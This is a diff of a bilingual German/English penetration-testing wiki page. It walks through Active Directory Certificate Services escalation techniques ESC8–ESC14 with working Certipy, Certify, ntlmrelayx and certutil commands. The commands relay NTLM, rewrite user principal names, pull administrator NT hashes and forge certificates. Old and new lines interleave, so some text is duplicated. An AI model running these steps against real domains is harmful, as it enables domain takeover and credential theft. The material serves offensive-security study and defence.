> NOTE: Der gleiche Angriff kann mit Certipy ≥ 4.7 über den `ca`-Befehl und den Parameter `-set-extension` ausgeführt werden.
|
||||
> NOTE: The same attack can be executed with Certipy ≥ 4.7 through the `ca` command and the `-set-extension` parameter.
|
||||
|
||||
## NTLM Relay zu AD CS HTTP-Endpunkten – ESC8
|
||||
## NTLM Relay to AD CS HTTP Endpoints – ESC8
|
||||
|
||||
### Erklärung
|
||||
### Explanation
|
||||
|
||||
> [!TIP]
|
||||
> In Umgebungen, in denen **AD CS installiert** ist, wenn ein verwundbarer **Web-Enrollment-Endpunkt** vorhanden ist und mindestens eine **certificate template** veröffentlicht ist, die **domain computer enrollment and client authentication** erlaubt (wie die Standard-**`Machine`**-Vorlage), kann **jeder Computer mit aktivem Spooler-Dienst von einem Angreifer kompromittiert werden**!
|
||||
> In environments where **AD CS is installed**, if a **web enrollment endpoint vulnerable** exists and at least one **certificate template is published** that permits **domain computer enrollment and client authentication** (such as the default **`Machine`** template), it becomes possible for **any computer with the spooler service active to be compromised by an attacker**!
|
||||
|
||||
Mehrere HTTP-basierte Enrollment-Methoden werden von AD CS unterstützt und sind über zusätzliche Serverrollen verfügbar, die Administratoren installieren können. Diese Schnittstellen für HTTP-basiertes Certificate Enrollment sind anfällig für **NTLM relay attacks**. Ein Angreifer kann von einer kompromittierten Maschine aus jedes AD-Konto impersonifizieren, das sich über eingehendes NTLM authentifiziert. Während der Angreifer das Opferkonto impersonifiziert, kann er diese Webschnittstellen nutzen, um ein Client-Authentication-Zertifikat mithilfe der `User`- oder `Machine`-certificate templates anzufordern.
|
||||
Several **HTTP-based enrollment methods** are supported by AD CS, made available through additional server roles that administrators may install. These interfaces for HTTP-based certificate enrollment are susceptible to **NTLM relay attacks**. An attacker, from a **compromised machine, can impersonate any AD account that authenticates via inbound NTLM**. While impersonating the victim account, these web interfaces can be accessed by an attacker to **request a client authentication certificate using the `User` or `Machine` certificate templates**.
|
||||
|
||||
- Die **web enrollment interface** (eine ältere ASP-Anwendung verfügbar unter `http://<caserver>/certsrv/`) verwendet standardmäßig nur HTTP, was keinen Schutz gegen NTLM relay attacks bietet. Zusätzlich erlaubt sie explizit nur NTLM-Authentifizierung über ihren Authorization HTTP-Header, wodurch sicherere Authentifizierungsmethoden wie Kerberos unbrauchbar werden.
|
||||
- Der **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service und **Network Device Enrollment Service** (NDES) unterstützen standardmäßig negotiate-Authentifizierung über ihren Authorization HTTP-Header. Negotiate-Authentifizierung **unterstützt sowohl** Kerberos als auch **NTLM**, wodurch ein Angreifer während Relay-Angriffen auf NTLM abwerten kann. Obwohl diese Webdienste standardmäßig HTTPS aktivieren, schützt HTTPS allein **nicht vor NTLM relay attacks**. Schutz vor NTLM-Relay-Angriffen für HTTPS-Dienste ist nur möglich, wenn HTTPS mit Channel Binding kombiniert wird. Leider aktiviert AD CS Extended Protection for Authentication in IIS nicht, welches für Channel Binding erforderlich ist.
|
||||
- The **web enrollment interface** (an older ASP application available at `http://<caserver>/certsrv/`), defaults to HTTP only, which does not offer protection against NTLM relay attacks. Additionally, it explicitly permits only NTLM authentication through its Authorization HTTP header, rendering more secure authentication methods like Kerberos inapplicable.
|
||||
- The **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, and **Network Device Enrollment Service** (NDES) by default support negotiate authentication via their Authorization HTTP header. Negotiate authentication **supports both** Kerberos and **NTLM**, allowing an attacker to **downgrade to NTLM** authentication during relay attacks. Although these web services enable HTTPS by default, HTTPS alone **does not safeguard against NTLM relay attacks**. Protection from NTLM relay attacks for HTTPS services is only possible when HTTPS is combined with channel binding. Regrettably, AD CS does not activate Extended Protection for Authentication on IIS, which is required for channel binding.
|
||||
|
||||
Ein häufiges **Problem** bei NTLM relay attacks ist die **kurze Dauer von NTLM-Sitzungen** und die Unmöglichkeit für den Angreifer, mit Diensten zu interagieren, die **NTLM signing** verlangen.
|
||||
A common **issue** with NTLM relay attacks is the **short duration of NTLM sessions** and the inability of the attacker to interact with services that **require NTLM signing**.
|
||||
|
||||
Nevertheless, this limitation is overcome by exploiting an NTLM relay attack to acquire a certificate for the user, as the certificate's validity period dictates the session's duration, and the certificate can be employed with services that **mandate NTLM signing**. For instructions on utilizing a stolen certificate, refer to:
|
||||
|
||||
Diese Einschränkung lässt sich jedoch umgehen, indem ein NTLM-Relay-Angriff ausgenutzt wird, um ein Zertifikat für den Benutzer zu erhalten, da die Gültigkeitsdauer des Zertifikats die Sitzungslänge bestimmt und das Zertifikat bei Diensten verwendet werden kann, die **NTLM signing** verlangen. Anweisungen zur Nutzung eines gestohlenen Zertifikats findest du unter:
|
||||
|
||||
{{#ref}}
|
||||
account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
Eine weitere Einschränkung von NTLM relay attacks ist, dass **eine vom Angreifer kontrollierte Maschine** von einem Opferkonto authentifiziert werden muss. Der Angreifer kann entweder warten oder versuchen, diese Authentifizierung zu **erzwingen**:
|
||||
Another limitation of NTLM relay attacks is that **an attacker-controlled machine must be authenticated to by a victim account**. The attacker could either wait or attempt to **force** this authentication:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### **Missbrauch**
|
||||
### **Abuse**
|
||||
|
||||
[**Certify**](https://github.com/GhostPack/Certify)’s `cas` listet **aktivierte HTTP AD CS Endpunkte** auf:
|
||||
Der `cas`-Befehl von [**Certify**](https://github.com/GhostPack/Certify) listet **aktivierte HTTP AD CS-Endpunkte** auf:
|
||||
```
|
||||
Certify.exe cas
|
||||
```
|
||||
@ -437,9 +439,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
||||
```
|
||||
#### Missbrauch mit [Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
Die Anforderung eines Zertifikats wird von Certipy standardmäßig basierend auf der Vorlage `Machine` oder `User` vorgenommen, wobei dies davon abhängt, ob der weitergeleitete Kontoname mit `$` endet. Eine alternative Vorlage kann durch die Verwendung des Parameters `-template` angegeben werden.
|
||||
Die Anforderung eines Zertifikats wird von Certipy standardmäßig auf Basis der Vorlage `Machine` oder `User` gestellt, abhängig davon, ob der weitergeleitete Kontoname mit `$` endet. Die Angabe einer alternativen Vorlage kann durch Verwendung des Parameters `-template` erfolgen.
|
||||
|
||||
Eine Technik wie [PetitPotam](https://github.com/ly4k/PetitPotam) kann anschließend eingesetzt werden, um eine Authentifizierung zu erzwingen. Bei Domänencontrollern ist die Angabe `-template DomainController` erforderlich.
|
||||
Eine Technik wie [PetitPotam](https://github.com/ly4k/PetitPotam) kann dann eingesetzt werden, um Authentifizierung zu erzwingen. Bei Domain Controllern ist die Angabe von `-template DomainController` erforderlich.
|
||||
```bash
|
||||
certipy relay -ca ca.corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -452,59 +454,59 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
## Keine Security Extension - ESC9 <a href="#id-5485" id="id-5485"></a>
|
||||
## No Security Extension - ESC9 <a href="#id-5485" id="id-5485"></a>
|
||||
|
||||
### Erklärung
|
||||
|
||||
Der neue Wert **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) für **`msPKI-Enrollment-Flag`**, bezeichnet als ESC9, verhindert das Einbetten der **neuen `szOID_NTDS_CA_SECURITY_EXT` security extension** in ein Zertifikat. Diese Flagge wird relevant, wenn `StrongCertificateBindingEnforcement` auf `1` gesetzt ist (Standardeinstellung), was im Gegensatz zu einer Einstellung von `2` steht. Ihre Relevanz steigt in Szenarien, in denen eine schwächere Zertifikatzuordnung für Kerberos oder Schannel ausgenutzt werden könnte (wie bei ESC10), da das Fehlen von ESC9 die Anforderungen nicht verändern würde.
|
||||
Der neue Wert **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) für **`msPKI-Enrollment-Flag`**, bezeichnet als ESC9, verhindert die Einbettung der neuen `szOID_NTDS_CA_SECURITY_EXT` Sicherheits-Erweiterung in ein Zertifikat. Dieses Flag wird relevant, wenn `StrongCertificateBindingEnforcement` auf `1` gesetzt ist (Standardeinstellung), im Gegensatz zu einer Einstellung von `2`. Seine Relevanz steigt in Szenarien, in denen eine schwächere Zertifikat-Zuordnung für Kerberos oder Schannel ausgenutzt werden könnte (wie bei ESC10), da das Fehlen von ESC9 die Anforderungen nicht ändern würde.
|
||||
|
||||
Die Bedingungen, unter denen die Einstellung dieser Flagge relevant wird, umfassen:
|
||||
Bedingungen, unter denen die Einstellung dieses Flags bedeutsam wird, sind unter anderem:
|
||||
|
||||
- `StrongCertificateBindingEnforcement` ist nicht auf `2` gesetzt (Standard ist `1`), oder `CertificateMappingMethods` enthält das `UPN`-Flag.
|
||||
- Das Zertifikat ist in der `msPKI-Enrollment-Flag`-Einstellung mit der Flagge `CT_FLAG_NO_SECURITY_EXTENSION` markiert.
|
||||
- Irgendeine Client-Authentication-EKU ist im Zertifikat angegeben.
|
||||
- `GenericWrite`-Berechtigungen bestehen über ein Konto, um ein anderes zu kompromittieren.
|
||||
- Das Zertifikat ist im `msPKI-Enrollment-Flag` mit dem `CT_FLAG_NO_SECURITY_EXTENSION`-Flag markiert.
|
||||
- Das Zertifikat gibt eine beliebige Client-Authentication-EKU an.
|
||||
- Über irgendein Konto bestehen `GenericWrite`-Berechtigungen, um ein anderes Konto zu kompromittieren.
|
||||
|
||||
### Missbrauchsszenario
|
||||
|
||||
Angenommen, `John@corp.local` hat `GenericWrite`-Berechtigungen über `Jane@corp.local`, mit dem Ziel, `Administrator@corp.local` zu kompromittieren. Die `ESC9`-Zertifikatvorlage, für die sich `Jane@corp.local` anmelden darf, ist in ihrer `msPKI-Enrollment-Flag`-Einstellung mit der Flagge `CT_FLAG_NO_SECURITY_EXTENSION` konfiguriert.
|
||||
Angenommen, `John@corp.local` besitzt `GenericWrite`-Berechtigungen über `Jane@corp.local`, mit dem Ziel, `Administrator@corp.local` zu kompromittieren. Die `ESC9`-Zertifikatvorlage, für die sich `Jane@corp.local` anmelden darf, ist in ihrem `msPKI-Enrollment-Flag`-Feld mit dem `CT_FLAG_NO_SECURITY_EXTENSION`-Flag konfiguriert.
|
||||
|
||||
Zunächst wird `Jane`'s Hash mittels Shadow Credentials erlangt, dank `John`'s `GenericWrite`:
|
||||
Zunächst wird Janes Hash mithilfe von Shadow Credentials erlangt, dank Johns `GenericWrite`:
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
Anschließend wird `Jane`'s `userPrincipalName` auf `Administrator` geändert, wobei bewusst der Domain-Teil `@corp.local` weggelassen wird:
|
||||
Anschließend wird der `userPrincipalName` von `Jane` auf `Administrator` geändert, wobei der Domain-Teil `@corp.local` absichtlich weggelassen wird:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
Diese Änderung verstößt nicht gegen die Einschränkungen, da `Administrator@corp.local` weiterhin als `Administrator`'s `userPrincipalName` eindeutig bleibt.
|
||||
Diese Änderung verletzt die Einschränkungen nicht, da `Administrator@corp.local` weiterhin eindeutig als `Administrator`'s `userPrincipalName` erhalten bleibt.
|
||||
|
||||
Anschließend wird die als verwundbar markierte Zertifikatvorlage `ESC9` als `Jane` angefordert:
|
||||
Anschließend wird die als verwundbar markierte `ESC9`-Zertifikatvorlage als `Jane` angefordert:
|
||||
```bash
|
||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||
```
|
||||
Es fällt auf, dass der `userPrincipalName` des Zertifikats `Administrator` anzeigt und keine „object SID“ aufweist.
|
||||
Es fällt auf, dass der `userPrincipalName` des Zertifikats `Administrator` widerspiegelt, ohne irgendeine “object SID”.
|
||||
|
||||
Der `userPrincipalName` von `Jane` wird dann auf ihren ursprünglichen Wert, `Jane@corp.local`, zurückgesetzt:
|
||||
Der `userPrincipalName` von `Jane` wird dann auf ihren ursprünglichen Wert `Jane@corp.local` zurückgesetzt:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
Der Versuch, sich mit dem ausgestellten Zertifikat zu authentifizieren, liefert nun den NT-Hash von `Administrator@corp.local`. Der Befehl muss `-domain <domain>` enthalten, da das Zertifikat keine Domain-Angabe hat:
|
||||
Ein Versuch, sich mit dem ausgestellten Zertifikat zu authentifizieren, liefert jetzt den NT hash von `Administrator@corp.local`. Der Befehl muss `-domain <domain>` enthalten, da im Zertifikat keine Domain angegeben ist:
|
||||
```bash
|
||||
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
```
|
||||
## Schwache Zertifikatszuordnungen - ESC10
|
||||
## Weak Certificate Mappings - ESC10
|
||||
|
||||
### Erklärung
|
||||
|
||||
ESC10 bezieht sich auf zwei Registry-Schlüsselwerte auf dem Domänencontroller:
|
||||
ESC10 bezieht sich auf zwei Registry-Schlüsselwerte auf dem Domain Controller:
|
||||
|
||||
- Der Standardwert für `CertificateMappingMethods` unter `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` ist `0x18` (`0x8 | 0x10`), zuvor auf `0x1F` gesetzt.
|
||||
- Die Standardeinstellung für `StrongCertificateBindingEnforcement` unter `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` ist `1`, zuvor `0`.
|
||||
- The default value for `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), previously set to `0x1F`.
|
||||
- The default setting for `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, previously `0`.
|
||||
|
||||
**Fall 1**
|
||||
|
||||
Wenn `StrongCertificateBindingEnforcement` auf `0` gesetzt ist.
|
||||
Wenn `StrongCertificateBindingEnforcement` auf `0` konfiguriert ist.
|
||||
|
||||
**Fall 2**
|
||||
|
||||
@ -514,17 +516,17 @@ Wenn `CertificateMappingMethods` das `UPN`-Bit (`0x4`) enthält.
|
||||
|
||||
Wenn `StrongCertificateBindingEnforcement` auf `0` gesetzt ist, kann ein Konto A mit `GenericWrite`-Berechtigungen ausgenutzt werden, um jedes Konto B zu kompromittieren.
|
||||
|
||||
Beispielsweise, wenn man `GenericWrite`-Berechtigungen für `Jane@corp.local` hat, versucht ein Angreifer, `Administrator@corp.local` zu kompromittieren. Das Vorgehen entspricht ESC9 und erlaubt die Nutzung jeder Zertifikatvorlage.
|
||||
Beispielsweise versucht ein Angreifer mit `GenericWrite`-Berechtigungen für `Jane@corp.local`, `Administrator@corp.local` zu kompromittieren. Das Vorgehen entspricht ESC9 und erlaubt die Nutzung beliebiger certificate templates.
|
||||
|
||||
Zunächst wird der Hash von `Jane` mittels Shadow Credentials abgerufen, wobei `GenericWrite` ausgenutzt wird.
|
||||
Zunächst wird der Hash von `Jane` mithilfe von Shadow Credentials abgerufen, indem die `GenericWrite`-Berechtigung ausgenutzt wird.
|
||||
```bash
|
||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||
```
|
||||
Anschließend wird der `userPrincipalName` von `Jane` auf `Administrator` geändert, wobei bewusst der Teil `@corp.local` weggelassen wird, um eine Verletzung der Einschränkungen zu vermeiden.
|
||||
Anschließend wird der `userPrincipalName` von `Jane` auf `Administrator` geändert, wobei absichtlich der Teil `@corp.local` weggelassen wird, um eine Constraint-Verletzung zu vermeiden.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
Anschließend wird als `Jane` ein Zertifikat zur Client-Authentifizierung unter Verwendung der Standardvorlage `User` beantragt.
|
||||
Anschließend wird als `Jane` ein Zertifikat angefordert, das Client-Authentifizierung ermöglicht, unter Verwendung der Standard-`User`-Vorlage.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
@ -532,15 +534,15 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
Die Authentifizierung mit dem erhaltenen Zertifikat liefert den NT hash von `Administrator@corp.local` und erfordert die Angabe der Domäne im Befehl, da im Zertifikat keine Informationen zur Domäne enthalten sind.
|
||||
Die Authentifizierung mit dem erhaltenen Zertifikat liefert den NT-Hash von `Administrator@corp.local`; da im Zertifikat keine Domainangaben enthalten sind, muss die Domain im Befehl explizit angegeben werden.
|
||||
```bash
|
||||
certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### Missbrauchsfall 2
|
||||
|
||||
Wenn `CertificateMappingMethods` das `UPN`-Bitflag (`0x4`) enthält, kann ein Konto A mit `GenericWrite`-Berechtigungen jedes Konto B kompromittieren, das keine `userPrincipalName`-Eigenschaft besitzt, einschließlich Maschinenkonten und des integrierten Domänenadministrators `Administrator`.
|
||||
Wenn `CertificateMappingMethods` das `UPN`-Bitflag (`0x4`) enthält, kann ein Konto A mit `GenericWrite`-Berechtigungen jedes Konto B kompromittieren, dem die `userPrincipalName`-Eigenschaft fehlt, einschließlich Maschinenkonten und des integrierten Domänenadministrators `Administrator`.
|
||||
|
||||
Ziel ist hier, `DC$@corp.local` zu kompromittieren, beginnend damit, den Hash von `Jane` über Shadow Credentials zu erhalten, wobei `GenericWrite` ausgenutzt wird.
|
||||
Hier ist das Ziel, `DC$@corp.local` zu kompromittieren, beginnend damit, den Hash von `Jane` mittels Shadow Credentials zu erhalten, unter Ausnutzung von `GenericWrite`.
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
@ -548,7 +550,7 @@ Der `userPrincipalName` von `Jane` wird dann auf `DC$@corp.local` gesetzt.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
Ein Zertifikat zur Client-Authentifizierung wird als `Jane` mit der Standard-`User`-Vorlage angefordert.
|
||||
Ein Zertifikat für die Client-Authentifizierung wird als `Jane` mithilfe der Standardvorlage `User` angefordert.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
@ -556,23 +558,23 @@ Der `userPrincipalName` von `Jane` wird nach diesem Prozess auf den ursprünglic
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
||||
```
|
||||
Um sich über Schannel zu authentifizieren, wird die `-ldap-shell`-Option von Certipy verwendet und zeigt eine erfolgreiche Authentifizierung als `u:CORP\DC$` an.
|
||||
Zur Authentifizierung über Schannel wird Certipy’s `-ldap-shell`-Option genutzt; sie zeigt eine erfolgreiche Authentifizierung als `u:CORP\DC$` an.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
Über die LDAP-Shell ermöglichen Befehle wie `set_rbcd` Resource-Based Constrained Delegation (RBCD)-Angriffe und können potenziell den Domänencontroller kompromittieren.
|
||||
Über die LDAP-Shell ermöglichen Befehle wie `set_rbcd` Resource-Based Constrained Delegation (RBCD)-Angriffe, die möglicherweise den Domain Controller kompromittieren.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
Diese Schwachstelle betrifft auch jedes Benutzerkonto, dem ein `userPrincipalName` fehlt oder bei dem dieser nicht mit dem `sAMAccountName` übereinstimmt. Das standardmäßige Konto `Administrator@corp.local` ist ein Hauptziel, da es erweiterte LDAP-Rechte besitzt und standardmäßig keinen `userPrincipalName` hat.
|
||||
Diese Schwachstelle betrifft auch jedes Benutzerkonto, dem ein `userPrincipalName` fehlt oder bei dem dieser nicht mit dem `sAMAccountName` übereinstimmt. Das Standardkonto `Administrator@corp.local` ist ein primäres Ziel, da es standardmäßig über erhöhte LDAP-Rechte verfügt und kein `userPrincipalName` besitzt.
|
||||
|
||||
## Relaying NTLM to ICPR - ESC11
|
||||
|
||||
### Erklärung
|
||||
|
||||
Wenn der CA-Server nicht mit `IF_ENFORCEENCRYPTICERTREQUEST` konfiguriert ist, können NTLM-Relay-Angriffe ohne Signierung über den RPC-Dienst durchgeführt werden. [Referenz hier](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
Sie können `certipy` verwenden, um zu ermitteln, ob `Enforce Encryption for Requests` deaktiviert ist; certipy zeigt in diesem Fall `ESC11`-Vulnerabilities an.
|
||||
Sie können `certipy` verwenden, um festzustellen, ob `Enforce Encryption for Requests` deaktiviert ist; certipy zeigt dann `ESC11`-Schwachstellen an.
|
||||
```bash
|
||||
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -591,7 +593,7 @@ ESC11 : Encryption is not enforced for ICPR requests
|
||||
```
|
||||
### Missbrauchsszenario
|
||||
|
||||
Es ist erforderlich, einen relay server einzurichten:
|
||||
Es muss einen relay server einrichten:
|
||||
```bash
|
||||
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
|
||||
Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||
@ -610,29 +612,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
Hinweis: Für Domain-Controller müssen wir `-template` in DomainController angeben.
|
||||
Hinweis: Für Domain Controller müssen wir `-template` in DomainController angeben.
|
||||
|
||||
Oder mit [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
|
||||
Oder Verwendung von [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
|
||||
```bash
|
||||
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
|
||||
```
|
||||
## Shell-Zugriff auf ADCS CA mit YubiHSM - ESC12
|
||||
## Shell-Zugriff auf ADCS-CA mit YubiHSM - ESC12
|
||||
|
||||
### Erklärung
|
||||
|
||||
Administratoren können die Zertifizierungsstelle so einrichten, dass sie auf einem externen Gerät wie dem "Yubico YubiHSM2" gespeichert wird.
|
||||
Administratoren können die Certificate Authority so einrichten, dass sie auf einem externen Gerät wie dem Yubico YubiHSM2 gespeichert wird.
|
||||
|
||||
If USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine, an authentication key (sometimes referred to as a "password") is required for the Key Storage Provider to generate and utilize keys in the YubiHSM.
|
||||
Wenn ein USB-Gerät über einen USB-Port mit dem CA-Server verbunden ist, oder ein USB device server verwendet wird, falls der CA-Server eine virtuelle Maschine ist, wird ein Authentifizierungsschlüssel (manchmal als "password" bezeichnet) benötigt, damit der Key Storage Provider Schlüssel im YubiHSM erzeugen und verwenden kann.
|
||||
|
||||
This key/password is stored in the registry under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext.
|
||||
Dieser Schlüssel/password wird in der Registry unter `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` im Klartext gespeichert.
|
||||
|
||||
Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
|
||||
|
||||
### Missbrauchsszenario
|
||||
### Abuse Scenario
|
||||
|
||||
Wenn der private Schlüssel der CA auf einem physischen USB-Gerät gespeichert ist und Sie Shell-Zugriff erhalten haben, ist es möglich, den Schlüssel wiederherzustellen.
|
||||
Wenn der private Schlüssel der CA auf einem physischen USB-Gerät gespeichert ist und Sie Shell-Zugriff erhalten, ist es möglich, den Schlüssel zu extrahieren.
|
||||
|
||||
Zuerst müssen Sie das CA-Zertifikat (dies ist öffentlich) beschaffen und dann:
|
||||
Zuerst müssen Sie das CA-Zertifikat beschaffen (dies ist öffentlich) und dann:
|
||||
```cmd
|
||||
# import it to the user store with CA certificate
|
||||
$ certutil -addstore -user my <CA certificate file>
|
||||
@ -640,17 +642,17 @@ $ certutil -addstore -user my <CA certificate file>
|
||||
# Associated with the private key in the YubiHSM2 device
|
||||
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
|
||||
```
|
||||
Verwenden Sie abschließend den certutil `-sign`-Befehl, um ein neues beliebiges Zertifikat mithilfe des CA-Zertifikats und dessen privatem Schlüssel zu fälschen.
|
||||
Abschließend verwenden Sie den certutil `-sign` Befehl, um ein neues beliebiges Zertifikat mit dem CA-Zertifikat und dessen privatem Schlüssel zu fälschen.
|
||||
|
||||
## OID Group Link Abuse - ESC13
|
||||
|
||||
### Erklärung
|
||||
|
||||
Das Attribut `msPKI-Certificate-Policy` ermöglicht das Hinzufügen einer Ausstellungsrichtlinie zur Zertifikatvorlage. Die `msPKI-Enterprise-Oid`-Objekte, die für die Vergabe dieser Richtlinien verantwortlich sind, können im Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) des PKI OID-Containers gefunden werden. Eine Richtlinie kann mit einer AD-Gruppe verknüpft werden, indem das Attribut `msDS-OIDToGroupLink` dieses Objekts verwendet wird, wodurch ein System einen Benutzer, der das Zertifikat vorlegt, so autorisieren kann, als ob er Mitglied dieser Gruppe wäre. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
Das Attribut `msPKI-Certificate-Policy` erlaubt, die Ausstellungspolicy zur Zertifikatvorlage hinzuzufügen. Die `msPKI-Enterprise-Oid`-Objekte, die für Ausgabe-Policies verantwortlich sind, können im Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) des PKI OID-Containers entdeckt werden. Eine Policy kann mit einer AD-Gruppe verknüpft werden, indem das Attribut `msDS-OIDToGroupLink` dieses Objekts verwendet wird, wodurch ein System einen Benutzer, der das Zertifikat vorlegt, so autorisieren kann, als wäre er Mitglied der Gruppe. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
|
||||
Mit anderen Worten: Wenn ein Benutzer die Berechtigung hat, ein Zertifikat zu beantragen und das Zertifikat mit einer OID-Gruppe verknüpft ist, kann der Benutzer die Privilegien dieser Gruppe übernehmen.
|
||||
|
||||
Verwenden Sie [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink:
|
||||
Verwenden Sie [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) um OIDToGroupLink zu finden:
|
||||
```bash
|
||||
Enumerating OIDs
|
||||
------------------------
|
||||
@ -672,49 +674,49 @@ OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.139243
|
||||
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||
------------------------
|
||||
```
|
||||
### Abuse Scenario
|
||||
### Missbrauchsszenario
|
||||
|
||||
Finde eine Benutzerberechtigung, die man mit `certipy find` oder `Certify.exe find /showAllPermissions` ausfindig machen kann.
|
||||
Finde eine Benutzerberechtigung, die der Benutzer mit `certipy find` oder `Certify.exe find /showAllPermissions` verwenden kann.
|
||||
|
||||
Wenn `John` die Berechtigung hat, `VulnerableTemplate` zu enrollen, kann der Benutzer die Privilegien der Gruppe `VulnerableGroup` übernehmen.
|
||||
Wenn `John` die Berechtigung hat, das Template `VulnerableTemplate` zu enrollen, kann der Benutzer die Privilegien der Gruppe `VulnerableGroup` übernehmen.
|
||||
|
||||
Alles, was er tun muss, ist das Template anzugeben; er erhält dann ein Zertifikat mit OIDToGroupLink-Rechten.
|
||||
Alles, was er tun muss, ist das Template anzugeben; er erhält ein Zertifikat mit OIDToGroupLink-Rechten.
|
||||
```bash
|
||||
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
|
||||
```
|
||||
## Schwache Konfiguration der Zertifikatserneuerung - ESC14
|
||||
## Verwundbare Konfiguration der Zertifikatserneuerung - ESC14
|
||||
|
||||
### Erläuterung
|
||||
### Erklärung
|
||||
|
||||
Die Beschreibung unter https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping ist bemerkenswert ausführlich. Nachfolgend eine Zitierung des Originaltextes.
|
||||
Die Beschreibung unter https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping ist außerordentlich ausführlich. Nachfolgend eine Übersetzung/Zitierung des Originaltexts.
|
||||
|
||||
